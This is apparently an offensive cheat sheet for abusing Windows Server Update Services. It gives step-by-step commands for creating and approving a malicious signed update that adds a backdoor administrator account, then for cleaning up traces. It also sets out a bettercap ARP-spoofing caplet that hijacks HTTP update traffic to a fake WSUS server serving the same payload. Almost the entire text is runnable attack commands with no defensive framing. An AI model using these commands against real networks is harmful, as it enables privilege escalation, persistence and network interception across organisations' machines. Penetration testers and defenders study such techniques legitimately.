Windows Server Update Services (WSUS)

Push an evil update on the computers

1) Locate the WSUS server

./SharpWSUS locate

2) Find a way to compromise it

3) Enumerate the contents of the WSUS server to determine which machines to target

./SharpWSUS.exe inspect

4) Create a malicious patch with a Microsoft signed binary (mandatory)

./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS"

5) Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment

./SharpWSUS.exe approve /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

6) Wait for the client to download the patch, not possible to control

./SharpWSUS.exe check /updateid:<GUID_from_create> /computername:<target>

7) Clean up after the patch is downloaded.

./SharpWSUS.exe delete /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

1) Find the WSUS server with the REG key

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

2) Setup the fake WSUS server

python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

3) And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

quick recon of the network

net.probe on

set the ARP spoofing

set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

reroute traffic aimed at the WSUS server

set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

control logging and verbosity

events.ignore endpoint
events.ignore net.sniff

start the modules

any.proxy on
arp.spoof on
net.sniff on

THEN

bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine.